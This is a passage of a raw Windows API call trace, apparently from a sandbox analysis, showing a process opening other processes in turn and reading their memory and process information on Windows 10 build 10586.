ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.447] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.447] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.447] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.447] malloc (_Size=0x82) returned 0x20abc2aaf90 [0291.448] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1972, lpBuffer=0x20abc2aaf90, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaf90*, lpNumberOfBytesRead=0x0) returned 1 [0291.448] free (_Block=0x20abc2aaf90) [0291.449] CloseHandle (hObject=0x16c) returned 1 [0291.450] _ui64tow_s (in: _Value=0xf08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3848") returned 0x0 [0291.454] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3848") returned 4 [0291.455] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.455] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.471] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf08) returned 0x16c [0291.472] GetLastError () returned 0x0 [0291.473] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.530] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.531] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.533] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.533] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x311020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.533] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.533] malloc (_Size=0x6e) returned 0x20abc2831b0 [0291.533] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5f195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.534] free (_Block=0x20abc2831b0) [0291.535] CloseHandle (hObject=0x16c) returned 1 [0291.535] _ui64tow_s (in: _Value=0xf1c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3868") returned 0x0 [0291.540] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3868") returned 4 [0291.541] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.541] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf1c) returned 0x16c [0291.554] GetLastError () returned 0x0 [0291.555] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.556] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.556] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.556] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.557] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.558] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.559] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.559] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.559] malloc (_Size=0x62) returned 0x20abc2803e0 [0291.559] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1952, lpBuffer=0x20abc2803e0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.559] free (_Block=0x20abc2803e0) [0291.560] CloseHandle (hObject=0x16c) returned 1 [0291.560] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0291.564] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3876") returned 4 [0291.565] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.565] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.593] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x16c [0291.593] GetLastError () returned 0x0 [0291.594] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.594] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.595] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.596] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.597] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.597] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x369020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.598] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.598] malloc (_Size=0x68) returned 0x20abc280840 [0291.598] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c1958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0291.599] free (_Block=0x20abc280840) [0291.599] CloseHandle (hObject=0x16c) returned 1 [0291.600] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0291.603] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3888") returned 4 [0291.604] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.604] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.672] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x16c [0291.672] GetLastError () returned 0x0 [0291.673] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.673] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.673] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.673] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.674] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.675] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.676] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.676] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.676] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.676] malloc (_Size=0x7c) returned 0x20abc2aad50 [0291.676] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a196c, lpBuffer=0x20abc2aad50, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aad50*, lpNumberOfBytesRead=0x0) returned 1 [0291.677] free (_Block=0x20abc2aad50) [0291.678] CloseHandle (hObject=0x16c) returned 1 [0291.678] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0291.682] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3904") returned 4 [0291.683] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.683] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x16c [0291.697] GetLastError () returned 0x0 [0291.698] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.698] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.698] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.698] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.699] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.700] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.701] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.701] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.701] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.701] malloc (_Size=0x68) returned 0x20abc280840 [0291.701] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0291.702] free (_Block=0x20abc280840) [0291.703] CloseHandle (hObject=0x16c) returned 1 [0291.742] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0291.746] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3912") returned 4 [0291.747] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.747] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.763] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x16c [0291.763] GetLastError () returned 0x0 [0291.765] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.765] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.767] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.768] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.768] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x29c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.769] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.769] malloc (_Size=0x68) returned 0x20abc280450 [0291.769] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541958, lpBuffer=0x20abc280450, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0291.770] free (_Block=0x20abc280450) [0291.770] CloseHandle (hObject=0x16c) returned 1 [0291.798] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0291.801] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3920") returned 4 [0291.803] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.804] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.817] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x16c [0291.817] GetLastError () returned 0x0 [0291.819] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc22fc240, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.821] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.822] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.822] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.822] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.822] malloc (_Size=0x88) returned 0x20abc2aa600 [0291.822] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x481978, lpBuffer=0x20abc2aa600, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa600*, lpNumberOfBytesRead=0x0) returned 1 [0291.823] free (_Block=0x20abc2aa600) [0291.824] CloseHandle (hObject=0x16c) returned 1 [0291.824] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0291.828] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3940") returned 4 [0291.828] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.828] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.852] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x16c [0291.852] GetLastError () returned 0x0 [0291.853] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.853] 